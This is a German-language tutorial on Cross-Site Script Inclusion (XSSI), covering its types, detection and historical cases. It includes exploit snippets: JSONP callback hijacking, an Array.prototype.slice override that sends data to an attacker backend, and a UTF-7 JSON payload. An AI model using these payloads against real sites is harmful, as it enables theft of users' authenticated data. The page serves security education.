XSSI (Cross-Site Script Inclusion)

Reading time: 5 minutes

Grundinformationen

Cross-Site Script Inclusion (XSSI) ist eine Schwachstelle, die aus der Natur des script-Tags in HTML resultiert. Im Gegensatz zu den meisten Ressourcen, die der Same-Origin Policy (SOP) unterliegen, können Skripte von verschiedenen Domains eingebunden werden. Dieses Verhalten soll die Nutzung von Bibliotheken und anderen Ressourcen, die auf verschiedenen Servern gehostet werden, erleichtern, bringt jedoch auch ein potenzielles Sicherheitsrisiko mit sich.

Hauptmerkmale von XSSI:

• Umgehung der SOP: Skripte sind von der Same-Origin Policy ausgenommen, was es ihnen ermöglicht, über Domains hinweg eingebunden zu werden.
• Datenexposition: Ein Angreifer kann dieses Verhalten ausnutzen, um Daten zu lesen, die über das script-Tag geladen werden.
• Auswirkungen auf dynamisches JavaScript/JSONP: XSSI ist besonders relevant für dynamisches JavaScript oder JSON mit Padding (JSONP). Diese Technologien verwenden häufig Informationen über "ambient-authority" (wie Cookies) zur Authentifizierung. Wenn eine Skriptanfrage an einen anderen Host gesendet wird, werden diese Anmeldeinformationen (z. B. Cookies) automatisch in die Anfrage aufgenommen.
• Leckage von Authentifizierungstoken: Wenn ein Angreifer den Browser eines Benutzers dazu bringen kann, ein Skript von einem Server anzufordern, den er kontrolliert, könnte er möglicherweise auf sensible Informationen zugreifen, die in diesen Anfragen enthalten sind.

Typen

1. Statisches JavaScript - Dies stellt die konventionelle Form von XSSI dar.
2. Statisches JavaScript mit Authentifizierung - Dieser Typ ist besonders, da er eine Authentifizierung zum Zugriff erfordert.
3. Dynamisches JavaScript - Bezieht sich auf JavaScript, das Inhalte dynamisch generiert.
4. Nicht-JavaScript - Bezieht sich auf Schwachstellen, die nicht direkt JavaScript betreffen.

Die folgenden Informationen sind eine Zusammenfassung von https://www.scip.ch/en/?labs.20160414. Überprüfen Sie dies für weitere Details.

Reguläres XSSI

Bei diesem Ansatz sind private Informationen in einer global zugänglichen JavaScript-Datei eingebettet. Angreifer können diese Dateien mit Methoden wie Dateilesen, Schlüsselwortsuchen oder regulären Ausdrücken identifizieren. Sobald sie gefunden sind, kann das Skript, das private Informationen enthält, in bösartigen Inhalten eingebunden werden, was unbefugten Zugriff auf sensible Daten ermöglicht. Eine Beispielausnutzungstechnik ist unten dargestellt:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script>
alert(JSON.stringify(confidential_keys[0]))
</script>

Dynamisch-JavaScript-basiertes-XSSI und Authentifiziertes-JavaScript-XSSI

Diese Arten von XSSI-Angriffen beinhalten, dass vertrauliche Informationen dynamisch in das Skript als Antwort auf eine Benutzeranfrage hinzugefügt werden. Die Erkennung kann durchgeführt werden, indem Anfragen mit und ohne Cookies gesendet und die Antworten verglichen werden. Wenn die Informationen unterschiedlich sind, kann dies auf das Vorhandensein vertraulicher Informationen hinweisen. Dieser Prozess kann automatisiert werden, indem Tools wie die DetectDynamicJS Burp-Erweiterung verwendet werden.

Wenn vertrauliche Daten in einer globalen Variablen gespeichert sind, können sie mit ähnlichen Methoden wie bei Regular XSSI ausgenutzt werden. Wenn jedoch die vertraulichen Daten in einer JSONP-Antwort enthalten sind, können Angreifer die Callback-Funktion übernehmen, um die Informationen abzurufen. Dies kann entweder durch Manipulation globaler Objekte oder durch das Einrichten einer Funktion erfolgen, die von der JSONP-Antwort ausgeführt wird, wie unten gezeigt:

<script>
var angular = function () {
return 1
}
angular.callbacks = function () {
return 1
}
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script
src="https://site.tld/p?jsonp=angular.callbacks._7"
type="text/javascript"></script>

<script>
leak = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Für Variablen, die sich nicht im globalen Namensraum befinden, kann Prototype-Tampering manchmal ausgenutzt werden. Diese Technik nutzt das Design von JavaScript aus, bei dem die Code-Interpretation das Durchlaufen der Prototypenkette umfasst, um die aufgerufene Eigenschaft zu finden. Durch das Überschreiben bestimmter Funktionen, wie Array's slice, können Angreifer auf nicht globale Variablen zugreifen und diese leaken:

Array.prototype.slice = function () {
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this)
}

Weitere Details zu Angriffsvektoren finden Sie in der Arbeit des Sicherheitsforschers Sebastian Lekies, der eine Liste von Vektoren führt.

Non-Script-XSSI

Die Forschung von Takeshi Terada führt eine weitere Form von XSSI ein, bei der Non-Script-Dateien, wie CSV, durch die Einbindung als Quellen in einem script-Tag cross-origin geleakt werden. Historische Fälle von XSSI, wie Jeremiah Grossmans Angriff im Jahr 2006, um ein vollständiges Google-Adressbuch zu lesen, und Joe Walkers JSON-Datenleck von 2007, verdeutlichen die Schwere dieser Bedrohungen. Darüber hinaus beschreibt Gareth Heyes eine Angriffsvariante, die UTF-7-kodiertes JSON verwendet, um das JSON-Format zu umgehen und Skripte auszuführen, was in bestimmten Browsern effektiv ist:

;[
{
friend: "luke",
email:
"+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-",
},
]

<script
src="http://site.tld/json-utf7.json"
type="text/javascript"
charset="UTF-7"></script>